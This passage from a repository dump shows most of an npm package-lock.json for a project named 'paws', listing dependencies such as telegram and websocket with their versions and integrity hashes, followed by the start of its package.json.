"sha512-tzN8e4TX8+kkxGPK8D5u0FNmjPUjw3lwC9lSLxxoB/+GtsJG91CO8bSWy73APlgAZzZbXEYZJuxjkHH2w+Ezhw==", 744 | "dependencies": { 745 | "asynckit": "^0.4.0", 746 | "combined-stream": "^1.0.8", 747 | "mime-types": "^2.1.12" 748 | }, 749 | "engines": { 750 | "node": ">= 6" 751 | } 752 | }, 753 | "node_modules/graceful-fs": { 754 | "version": "4.2.11", 755 | "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", 756 | "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==" 757 | }, 758 | "node_modules/htmlparser2": { 759 | "version": "6.1.0", 760 | "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-6.1.0.tgz", 761 | "integrity": "sha512-gyyPk6rgonLFEDGoeRgQNaEUvdJ4ktTmmUh/h2t7s+M8oPpIPxgNACWa+6ESR57kXstwqPiCut0V8NRpcwgU7A==", 762 | "funding": [ 763 | "https://github.com/fb55/htmlparser2?sponsor=1", 764 | { 765 | "type": "github", 766 | "url": "https://github.com/sponsors/fb55" 767 | } 768 | ], 769 | "dependencies": { 770 | "domelementtype": "^2.0.1", 771 | "domhandler": "^4.0.0", 772 | "domutils": "^2.5.2", 773 | "entities": "^2.0.0" 774 | } 775 | }, 776 | "node_modules/https-proxy-agent": { 777 | "version": "7.0.5", 778 | "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-7.0.5.tgz", 779 | "integrity": "sha512-1e4Wqeblerz+tMKPIq2EMGiiWW1dIjZOksyHWSUm1rmuvw/how9hBHZ38lAGj5ID4Ik6EdkOw7NmWPy6LAwalw==", 780 | "dependencies": { 781 | "agent-base": "^7.0.2", 782 | "debug": "4" 783 | }, 784 | "engines": { 785 | "node": ">= 14" 786 | } 787 | }, 788 | "node_modules/iconv-lite": { 789 | "version": "0.4.24", 790 | "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", 791 | "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", 792 | "dependencies": { 793 | "safer-buffer": ">= 2.1.2 < 3" 794 | }, 795 | "engines": { 796 | "node": ">=0.10.0" 797 | } 798 | }, 799 | "node_modules/ieee754": { 800 | "version": "1.2.1", 801 | "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz", 802 | "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==", 803 | "funding": [ 804 | { 805 | "type": "github", 806 | "url": "https://github.com/sponsors/feross" 807 | }, 808 | { 809 | "type": "patreon", 810 | "url": "https://www.patreon.com/feross" 811 | }, 812 | { 813 | "type": "consulting", 814 | "url": "https://feross.org/support" 815 | } 816 | ] 817 | }, 818 | "node_modules/imurmurhash": { 819 | "version": "0.1.4", 820 | "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", 821 | "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==", 822 | "engines": { 823 | "node": ">=0.8.19" 824 | } 825 | }, 826 | "node_modules/ip-address": { 827 | "version": "9.0.5", 828 | "resolved": "https://registry.npmjs.org/ip-address/-/ip-address-9.0.5.tgz", 829 | "integrity": "sha512-zHtQzGojZXTwZTHQqra+ETKd4Sn3vgi7uBmlPoXVWZqYvuKmtI0l/VZTjqGmJY9x88GGOaZ9+G9ES8hC4T4X8g==", 830 | "dependencies": { 831 | "jsbn": "1.1.0", 832 | "sprintf-js": "^1.1.3" 833 | }, 834 | "engines": { 835 | "node": ">= 12" 836 | } 837 | }, 838 | "node_modules/is-fullwidth-code-point": { 839 | "version": "3.0.0", 840 | "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", 841 | "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", 842 | "engines": { 843 | "node": ">=8" 844 | } 845 | }, 846 | "node_modules/is-typedarray": { 847 | "version": "1.0.0", 848 | "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz", 849 | "integrity": "sha512-cyA56iCMHAh5CdzjJIa4aohJyeO1YbwLi3Jc35MmRU6poroFjIGZzUzupGiRPOjgHg9TLu43xbpwXk523fMxKA==" 850 | }, 851 | "node_modules/jsbn": { 852 | "version": "1.1.0", 853 | "resolved": "https://registry.npmjs.org/jsbn/-/jsbn-1.1.0.tgz", 854 | "integrity": "sha512-4bYVV3aAMtDTTu4+xsDYa6sy9GyJ69/amsu9sYF2zqjiEoZA5xJi3BrfX3uY+/IekIu7MwdObdbDWpoZdBv3/A==" 855 | }, 856 | "node_modules/jssha": { 857 | "version": "3.2.0", 858 | "resolved": "https://registry.npmjs.org/jssha/-/jssha-3.2.0.tgz", 859 | "integrity": "sha512-QuruyBENDWdN4tZwJbQq7/eAK85FqrI4oDbXjy5IBhYD+2pTJyBUWZe8ctWaCkrV0gy6AaelgOZZBMeswEa/6Q==", 860 | "engines": { 861 | "node": "*" 862 | } 863 | }, 864 | "node_modules/lodash": { 865 | "version": "4.17.21", 866 | "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz", 867 | "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==" 868 | }, 869 | "node_modules/mime": { 870 | "version": "3.0.0", 871 | "resolved": "https://registry.npmjs.org/mime/-/mime-3.0.0.tgz", 872 | "integrity": "sha512-jSCU7/VB1loIWBZe14aEYHU/+1UMEHoaO7qxCOVJOw9GgH72VAWppxNcjU+x9a2k3GSIBXNKxXQFqRvvZ7vr3A==", 873 | "bin": { 874 | "mime": "cli.js" 875 | }, 876 | "engines": { 877 | "node": ">=10.0.0" 878 | } 879 | }, 880 | "node_modules/mime-db": { 881 | "version": "1.52.0", 882 | "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", 883 | "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", 884 | "engines": { 885 | "node": ">= 0.6" 886 | } 887 | }, 888 | "node_modules/mime-types": { 889 | "version": "2.1.35", 890 | "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", 891 | "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", 892 | "dependencies": { 893 | "mime-db": "1.52.0" 894 | }, 895 | "engines": { 896 | "node": ">= 0.6" 897 | } 898 | }, 899 | "node_modules/moment": { 900 | "version": "2.30.1", 901 | "resolved": "https://registry.npmjs.org/moment/-/moment-2.30.1.tgz", 902 | "integrity": "sha512-uEmtNhbDOrWPFS+hdjFCBfy9f2YoyzRpwcl+DqpC6taX21FzsTLQVbMV/W7PzNSX6x/bhC1zA3c2UQ5NzH6how==", 903 | "engines": { 904 | "node": "*" 905 | } 906 | }, 907 | "node_modules/ms": { 908 | "version": "2.1.3", 909 | "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", 910 | "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==" 911 | }, 912 | "node_modules/mute-stream": { 913 | "version": "1.0.0", 914 | "resolved": "https://registry.npmjs.org/mute-stream/-/mute-stream-1.0.0.tgz", 915 | "integrity": "sha512-avsJQhyd+680gKXyG/sQc0nXaC6rBkPOfyHYcFb9+hdkqQkR9bdnkJ0AMZhke0oesPqIO+mFFJ+IdBc7mst4IA==", 916 | "engines": { 917 | "node": "^14.17.0 || ^16.13.0 || >=18.0.0" 918 | } 919 | }, 920 | "node_modules/next-tick": { 921 | "version": "1.1.0", 922 | "resolved": "https://registry.npmjs.org/next-tick/-/next-tick-1.1.0.tgz", 923 | "integrity": "sha512-CXdUiJembsNjuToQvxayPZF9Vqht7hewsvy2sOWafLvi2awflj9mOC6bHIg50orX8IJvWKY9wYQ/zB2kogPslQ==" 924 | }, 925 | "node_modules/node-gyp-build": { 926 | "version": "4.8.2", 927 | "resolved": "https://registry.npmjs.org/node-gyp-build/-/node-gyp-build-4.8.2.tgz", 928 | "integrity": "sha512-IRUxE4BVsHWXkV/SFOut4qTlagw2aM8T5/vnTsmrHJvVoKueJHRc/JaFND7QDDc61kLYUJ6qlZM3sqTSyx2dTw==", 929 | "bin": { 930 | "node-gyp-build": "bin.js", 931 | "node-gyp-build-optional": "optional.js", 932 | "node-gyp-build-test": "build-test.js" 933 | } 934 | }, 935 | "node_modules/node-localstorage": { 936 | "version": "2.2.1", 937 | "resolved": "https://registry.npmjs.org/node-localstorage/-/node-localstorage-2.2.1.tgz", 938 | "integrity": "sha512-vv8fJuOUCCvSPjDjBLlMqYMHob4aGjkmrkaE42/mZr0VT+ZAU10jRF8oTnX9+pgU9/vYJ8P7YT3Vd6ajkmzSCw==", 939 | "dependencies": { 940 | "write-file-atomic": "^1.1.4" 941 | }, 942 | "engines": { 943 | "node": ">=0.12" 944 | } 945 | }, 946 | "node_modules/os-tmpdir": { 947 | "version": "1.0.2", 948 | "resolved": "https://registry.npmjs.org/os-tmpdir/-/os-tmpdir-1.0.2.tgz", 949 | "integrity": "sha512-D2FR03Vir7FIu45XBY20mTb+/ZSWB00sjU9jdQXt83gDrI4Ztz5Fs7/yy74g2N5SVQY4xY1qDr4rNddwYRVX0g==", 950 | "engines": { 951 | "node": ">=0.10.0" 952 | } 953 | }, 954 | "node_modules/p-limit": { 955 | "version": "6.1.0", 956 | "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-6.1.0.tgz", 957 | "integrity": "sha512-H0jc0q1vOzlEk0TqAKXKZxdl7kX3OFUzCnNVUnq5Pc3DGo0kpeaMuPqxQn235HibwBEb0/pm9dgKTjXy66fBkg==", 958 | "dependencies": { 959 | "yocto-queue": "^1.1.1" 960 | }, 961 | "engines": { 962 | "node": ">=18" 963 | }, 964 | "funding": { 965 | "url": "https://github.com/sponsors/sindresorhus" 966 | } 967 | }, 968 | "node_modules/pako": { 969 | "version": "2.1.0", 970 | "resolved": "https://registry.npmjs.org/pako/-/pako-2.1.0.tgz", 971 | "integrity": "sha512-w+eufiZ1WuJYgPXbV/PO3NCMEc3xqylkKHzp8bxp1uW4qaSNQUkwmLLEc3kKsfz8lpV1F8Ht3U1Cm+9Srog2ug==" 972 | }, 973 | "node_modules/path-browserify": { 974 | "version": "1.0.1", 975 | "resolved": "https://registry.npmjs.org/path-browserify/-/path-browserify-1.0.1.tgz", 976 | "integrity": "sha512-b7uo2UCUOYZcnF/3ID0lulOJi/bafxa1xPe7ZPsammBSpjSWQkjNxlt635YGS2MiR9GjvuXCtz2emr3jbsz98g==" 977 | }, 978 | "node_modules/proxy-from-env": { 979 | "version": "1.1.0", 980 | "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-1.1.0.tgz", 981 | "integrity": "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg==" 982 | }, 983 | "node_modules/qrcode-terminal": { 984 | "version": "0.12.0", 985 | "resolved": "https://registry.npmjs.org/qrcode-terminal/-/qrcode-terminal-0.12.0.tgz", 986 | "integrity": "sha512-EXtzRZmC+YGmGlDFbXKxQiMZNwCLEO6BANKXG4iCtSIM0yqc/pappSx3RIKr4r0uh5JsBckOXeKrB3Iz7mdQpQ==", 987 | "bin": { 988 | "qrcode-terminal": "bin/qrcode-terminal.js" 989 | } 990 | }, 991 | "node_modules/real-cancellable-promise": { 992 | "version": "1.2.0", 993 | "resolved": "https://registry.npmjs.org/real-cancellable-promise/-/real-cancellable-promise-1.2.0.tgz", 994 | "integrity": "sha512-FYhmx1FVSgoPRjneoTjh+EKZcNb8ijl/dyatTzase5eujYhVrLNDOiIY6AgQq7GU1kOoLgEd9jLVbhFg8k8dOQ==" 995 | }, 996 | "node_modules/safer-buffer": { 997 | "version": "2.1.2", 998 | "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", 999 | "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==" 1000 | }, 1001 | "node_modules/signal-exit": { 1002 | "version": "4.1.0", 1003 | "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-4.1.0.tgz", 1004 | "integrity": "sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==", 1005 | "engines": { 1006 | "node": ">=14" 1007 | }, 1008 | "funding": { 1009 | "url": "https://github.com/sponsors/isaacs" 1010 | } 1011 | }, 1012 | "node_modules/slide": { 1013 | "version": "1.1.6", 1014 | "resolved": "https://registry.npmjs.org/slide/-/slide-1.1.6.tgz", 1015 | "integrity": "sha512-NwrtjCg+lZoqhFU8fOwl4ay2ei8PaqCBOUV3/ektPY9trO1yQ1oXEfmHAhKArUVUr/hOHvy5f6AdP17dCM0zMw==", 1016 | "engines": { 1017 | "node": "*" 1018 | } 1019 | }, 1020 | "node_modules/smart-buffer": { 1021 | "version": "4.2.0", 1022 | "resolved": "https://registry.npmjs.org/smart-buffer/-/smart-buffer-4.2.0.tgz", 1023 | "integrity": "sha512-94hK0Hh8rPqQl2xXc3HsaBoOXKV20MToPkcXvwbISWLEs+64sBq5kFgn2kJDHb1Pry9yrP0dxrCI9RRci7RXKg==", 1024 | "engines": { 1025 | "node": ">= 6.0.0", 1026 | "npm": ">= 3.0.0" 1027 | } 1028 | }, 1029 | "node_modules/socks": { 1030 | "version": "2.8.3", 1031 | "resolved": "https://registry.npmjs.org/socks/-/socks-2.8.3.tgz", 1032 | "integrity": "sha512-l5x7VUUWbjVFbafGLxPWkYsHIhEvmF85tbIeFZWc8ZPtoMyybuEhL7Jye/ooC4/d48FgOjSJXgsF/AJPYCW8Zw==", 1033 | "dependencies": { 1034 | "ip-address": "^9.0.5", 1035 | "smart-buffer": "^4.2.0" 1036 | }, 1037 | "engines": { 1038 | "node": ">= 10.0.0", 1039 | "npm": ">= 3.0.0" 1040 | } 1041 | }, 1042 | "node_modules/sprintf-js": { 1043 | "version": "1.1.3", 1044 | "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.1.3.tgz", 1045 | "integrity": "sha512-Oo+0REFV59/rz3gfJNKQiBlwfHaSESl1pcGyABQsnnIfWOFt6JNj5gCog2U6MLZ//IGYD+nA8nI+mTShREReaA==" 1046 | }, 1047 | "node_modules/store2": { 1048 | "version": "2.14.3", 1049 | "resolved": "https://registry.npmjs.org/store2/-/store2-2.14.3.tgz", 1050 | "integrity": "sha512-4QcZ+yx7nzEFiV4BMLnr/pRa5HYzNITX2ri0Zh6sT9EyQHbBHacC6YigllUPU9X3D0f/22QCgfokpKs52YRrUg==" 1051 | }, 1052 | "node_modules/string-width": { 1053 | "version": "4.2.3", 1054 | "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", 1055 | "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", 1056 | "dependencies": { 1057 | "emoji-regex": "^8.0.0", 1058 | "is-fullwidth-code-point": "^3.0.0", 1059 | "strip-ansi": "^6.0.1" 1060 | }, 1061 | "engines": { 1062 | "node": ">=8" 1063 | } 1064 | }, 1065 | "node_modules/string-width/node_modules/ansi-regex": { 1066 | "version": "5.0.1", 1067 | "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", 1068 | "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", 1069 | "engines": { 1070 | "node": ">=8" 1071 | } 1072 | }, 1073 | "node_modules/string-width/node_modules/strip-ansi": { 1074 | "version": "6.0.1", 1075 | "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", 1076 | "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", 1077 | "dependencies": { 1078 | "ansi-regex": "^5.0.1" 1079 | }, 1080 | "engines": { 1081 | "node": ">=8" 1082 | } 1083 | }, 1084 | "node_modules/strip-ansi": { 1085 | "version": "7.1.0", 1086 | "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.0.tgz", 1087 | "integrity": "sha512-iq6eVVI64nQQTRYq2KtEg2d2uU7LElhTJwsH4YzIHZshxlgZms/wIc4VoDQTlG/IvVIrBKG06CrZnp0qv7hkcQ==", 1088 | "dependencies": { 1089 | "ansi-regex": "^6.0.1" 1090 | }, 1091 | "engines": { 1092 | "node": ">=12" 1093 | }, 1094 | "funding": { 1095 | "url": "https://github.com/chalk/strip-ansi?sponsor=1" 1096 | } 1097 | }, 1098 | "node_modules/symbol.inspect": { 1099 | "version": "1.0.1", 1100 | "resolved": "https://registry.npmjs.org/symbol.inspect/-/symbol.inspect-1.0.1.tgz", 1101 | "integrity": "sha512-YQSL4duoHmLhsTD1Pw8RW6TZ5MaTX5rXJnqacJottr2P2LZBF/Yvrc3ku4NUpMOm8aM0KOCqM+UAkMA5HWQCzQ==" 1102 | }, 1103 | "node_modules/telegram": { 1104 | "version": "2.26.6", 1105 | "resolved": "https://registry.npmjs.org/telegram/-/telegram-2.26.6.tgz", 1106 | "integrity": "sha512-2nZGL3ADRnEoWV0NMH4E+rhPFSD03HQ1ugTHJqpZR2l0iPz5m8TfD+fWoicfe8sltpCcj7nLmNsiEf5ExX/eGA==", 1107 | "dependencies": { 1108 | "@cryptography/aes": "^0.1.1", 1109 | "async-mutex": "^0.3.0", 1110 | "big-integer": "^1.6.48", 1111 | "buffer": "^6.0.3", 1112 | "htmlparser2": "^6.1.0", 1113 | "mime": "^3.0.0", 1114 | "node-localstorage": "^2.2.1", 1115 | "pako": "^2.0.3", 1116 | "path-browserify": "^1.0.1", 1117 | "real-cancellable-promise": "^1.1.1", 1118 | "socks": "^2.6.2", 1119 | "store2": "^2.13.0", 1120 | "ts-custom-error": "^3.2.0", 1121 | "websocket": "^1.0.34" 1122 | }, 1123 | "optionalDependencies": { 1124 | "bufferutil": "^4.0.3", 1125 | "utf-8-validate": "^5.0.5" 1126 | } 1127 | }, 1128 | "node_modules/teslabot": { 1129 | "version": "1.5.0", 1130 | "resolved": "https://registry.npmjs.org/teslabot/-/teslabot-1.5.0.tgz", 1131 | "integrity": "sha512-e2MmELhCgrgZEGo7PQu/6bmYG36IDH+YrBI1iGm6jovXkeDIGa3pZ2WSqRjzkuw2vt1EqfkZoV5GpXgqL8QJVg==" 1132 | }, 1133 | "node_modules/tmp": { 1134 | "version": "0.0.33", 1135 | "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.0.33.tgz", 1136 | "integrity": "sha512-jRCJlojKnZ3addtTOjdIqoRuPEKBvNXcGYqzO6zWZX8KfKEpnGY5jfggJQ3EjKuu8D4bJRr0y+cYJFmYbImXGw==", 1137 | "dependencies": { 1138 | "os-tmpdir": "~1.0.2" 1139 | }, 1140 | "engines": { 1141 | "node": ">=0.6.0" 1142 | } 1143 | }, 1144 | "node_modules/ts-custom-error": { 1145 | "version": "3.3.1", 1146 | "resolved": "https://registry.npmjs.org/ts-custom-error/-/ts-custom-error-3.3.1.tgz", 1147 | "integrity": "sha512-5OX1tzOjxWEgsr/YEUWSuPrQ00deKLh6D7OTWcvNHm12/7QPyRh8SYpyWvA4IZv8H/+GQWQEh/kwo95Q9OVW1A==", 1148 | "engines": { 1149 | "node": ">=14.0.0" 1150 | } 1151 | }, 1152 | "node_modules/tslib": { 1153 | "version": "2.8.0", 1154 | "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.0.tgz", 1155 | "integrity": "sha512-jWVzBLplnCmoaTr13V9dYbiQ99wvZRd0vNWaDRg+aVYRcjDF3nDksxFDE/+fkXnKhpnUUkmx5pK/v8mCtLVqZA==" 1156 | }, 1157 | "node_modules/tweetnacl": { 1158 | "version": "1.0.3", 1159 | "resolved": "https://registry.npmjs.org/tweetnacl/-/tweetnacl-1.0.3.tgz", 1160 | "integrity": "sha512-6rt+RN7aOi1nGMyC4Xa5DdYiukl2UWCbcJft7YhxReBGQD7OAM8Pbxw6YMo4r2diNEA8FEmu32YOn9rhaiE5yw==" 1161 | }, 1162 | "node_modules/type": { 1163 | "version": "2.7.3", 1164 | "resolved": "https://registry.npmjs.org/type/-/type-2.7.3.tgz", 1165 | "integrity": "sha512-8j+1QmAbPvLZow5Qpi6NCaN8FB60p/6x8/vfNqOk/hC+HuvFZhL4+WfekuhQLiqFZXOgQdrs3B+XxEmCc6b3FQ==" 1166 | }, 1167 | "node_modules/type-fest": { 1168 | "version": "0.21.3", 1169 | "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.21.3.tgz", 1170 | "integrity": "sha512-t0rzBq87m3fVcduHDUFhKmyyX+9eo6WQjZvf51Ea/M0Q7+T374Jp1aUiyUl0GKxp8M/OETVHSDvmkyPgvX+X2w==", 1171 | "engines": { 1172 | "node": ">=10" 1173 | }, 1174 | "funding": { 1175 | "url": "https://github.com/sponsors/sindresorhus" 1176 | } 1177 | }, 1178 | "node_modules/typedarray-to-buffer": { 1179 | "version": "3.1.5", 1180 | "resolved": "https://registry.npmjs.org/typedarray-to-buffer/-/typedarray-to-buffer-3.1.5.tgz", 1181 | "integrity": "sha512-zdu8XMNEDepKKR+XYOXAVPtWui0ly0NtohUscw+UmaHiAWT8hrV1rr//H6V+0DvJ3OQ19S979M0laLfX8rm82Q==", 1182 | "dependencies": { 1183 | "is-typedarray": "^1.0.0" 1184 | } 1185 | }, 1186 | "node_modules/undici-types": { 1187 | "version": "6.19.8", 1188 | "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-6.19.8.tgz", 1189 | "integrity": "sha512-ve2KP6f/JnbPBFyobGHuerC9g1FYGn/F8n1LWTwNxCEzd6IfqTwUQcNXgEtmmQ6DlRrC1hrSrBnCZPokRrDHjw==" 1190 | }, 1191 | "node_modules/utf-8-validate": { 1192 | "version": "5.0.10", 1193 | "resolved": "https://registry.npmjs.org/utf-8-validate/-/utf-8-validate-5.0.10.tgz", 1194 | "integrity": "sha512-Z6czzLq4u8fPOyx7TU6X3dvUZVvoJmxSQ+IcrlmagKhilxlhZgxPK6C5Jqbkw1IDUmFTM+cz9QDnnLTwDz/2gQ==", 1195 | "hasInstallScript": true, 1196 | "dependencies": { 1197 | "node-gyp-build": "^4.3.0" 1198 | }, 1199 | "engines": { 1200 | "node": ">=6.14.2" 1201 | } 1202 | }, 1203 | "node_modules/websocket": { 1204 | "version": "1.0.35", 1205 | "resolved": "https://registry.npmjs.org/websocket/-/websocket-1.0.35.tgz", 1206 | "integrity": "sha512-/REy6amwPZl44DDzvRCkaI1q1bIiQB0mEFQLUrhz3z2EK91cp3n72rAjUlrTP0zV22HJIUOVHQGPxhFRjxjt+Q==", 1207 | "dependencies": { 1208 | "bufferutil": "^4.0.1", 1209 | "debug": "^2.2.0", 1210 | "es5-ext": "^0.10.63", 1211 | "typedarray-to-buffer": "^3.1.5", 1212 | "utf-8-validate": "^5.0.2", 1213 | "yaeti": "^0.0.6" 1214 | }, 1215 | "engines": { 1216 | "node": ">=4.0.0" 1217 | } 1218 | }, 1219 | "node_modules/websocket/node_modules/debug": { 1220 | "version": "2.6.9", 1221 | "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", 1222 | "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", 1223 | "dependencies": { 1224 | "ms": "2.0.0" 1225 | } 1226 | }, 1227 | "node_modules/websocket/node_modules/ms": { 1228 | "version": "2.0.0", 1229 | "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", 1230 | "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" 1231 | }, 1232 | "node_modules/wrap-ansi": { 1233 | "version": "6.2.0", 1234 | "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-6.2.0.tgz", 1235 | "integrity": "sha512-r6lPcBGxZXlIcymEu7InxDMhdW0KDxpLgoFLcguasxCaJ/SOIZwINatK9KY/tf+ZrlywOKU0UDj3ATXUBfxJXA==", 1236 | "dependencies": { 1237 | "ansi-styles": "^4.0.0", 1238 | "string-width": "^4.1.0", 1239 | "strip-ansi": "^6.0.0" 1240 | }, 1241 | "engines": { 1242 | "node": ">=8" 1243 | } 1244 | }, 1245 | "node_modules/wrap-ansi/node_modules/ansi-regex": { 1246 | "version": "5.0.1", 1247 | "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", 1248 | "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", 1249 | "engines": { 1250 | "node": ">=8" 1251 | } 1252 | }, 1253 | "node_modules/wrap-ansi/node_modules/strip-ansi": { 1254 | "version": "6.0.1", 1255 | "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", 1256 | "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", 1257 | "dependencies": { 1258 | "ansi-regex": "^5.0.1" 1259 | }, 1260 | "engines": { 1261 | "node": ">=8" 1262 | } 1263 | }, 1264 | "node_modules/write-file-atomic": { 1265 | "version": "1.3.4", 1266 | "resolved": "https://registry.npmjs.org/write-file-atomic/-/write-file-atomic-1.3.4.tgz", 1267 | "integrity": "sha512-SdrHoC/yVBPpV0Xq/mUZQIpW2sWXAShb/V4pomcJXh92RuaO+f3UTWItiR3Px+pLnV2PvC2/bfn5cwr5X6Vfxw==", 1268 | "dependencies": { 1269 | "graceful-fs": "^4.1.11", 1270 | "imurmurhash": "^0.1.4", 1271 | "slide": "^1.1.5" 1272 | } 1273 | }, 1274 | "node_modules/yaeti": { 1275 | "version": "0.0.6", 1276 | "resolved": "https://registry.npmjs.org/yaeti/-/yaeti-0.0.6.tgz", 1277 | "integrity": "sha512-MvQa//+KcZCUkBTIC9blM+CU9J2GzuTytsOUwf2lidtvkx/6gnEp1QvJv34t9vdjhFmha/mUiNDbN0D0mJWdug==", 1278 | "engines": { 1279 | "node": ">=0.10.32" 1280 | } 1281 | }, 1282 | "node_modules/yocto-queue": { 1283 | "version": "1.1.1", 1284 | "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-1.1.1.tgz", 1285 | "integrity": "sha512-b4JR1PFR10y1mKjhHY9LaGo6tmrgjit7hxVIeAmyMw3jegXR4dhYqLaQF5zMXZxY7tLpMyJeLjr1C4rLmkVe8g==", 1286 | "engines": { 1287 | "node": ">=12.20" 1288 | }, 1289 | "funding": { 1290 | "url": "https://github.com/sponsors/sindresorhus" 1291 | } 1292 | }, 1293 | "node_modules/yoctocolors-cjs": { 1294 | "version": "2.1.2", 1295 | "resolved": "https://registry.npmjs.org/yoctocolors-cjs/-/yoctocolors-cjs-2.1.2.tgz", 1296 | "integrity": "sha512-cYVsTjKl8b+FrnidjibDWskAv7UKOfcwaVZdp/it9n1s9fU3IkgDbhdIRKCW4JDsAlECJY0ytoVPT3sK6kideA==", 1297 | "engines": { 1298 | "node": ">=18" 1299 | }, 1300 | "funding": { 1301 | "url": "https://github.com/sponsors/sindresorhus" 1302 | } 1303 | }, 1304 | "node_modules/zod": { 1305 | "version": "3.23.8", 1306 | "resolved": "https://registry.npmjs.org/zod/-/zod-3.23.8.tgz", 1307 | "integrity": "sha512-XBx9AXhXktjUqnepgTiE5flcKIYWi/rme0Eaj+5Y0lftuGBq+jyRu/md4WnuxqgP1ubdpNCsYEYPxrzVHD8d6g==", 1308 | "funding": { 1309 | "url": "https://github.com/sponsors/colinhacks" 1310 | } 1311 | } 1312 | } 1313 | } 1314 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "paws", 3 | "version": "1.0.4", 4 | "main": "index.js", 5 | "scripts": { 6 | "test": "echo \"Error: no test specified\" && exit 1" 7 | }, 8 | "keywords": [], 9 | "author": "", 10 | "license": "ISC", 11 | "description": "", 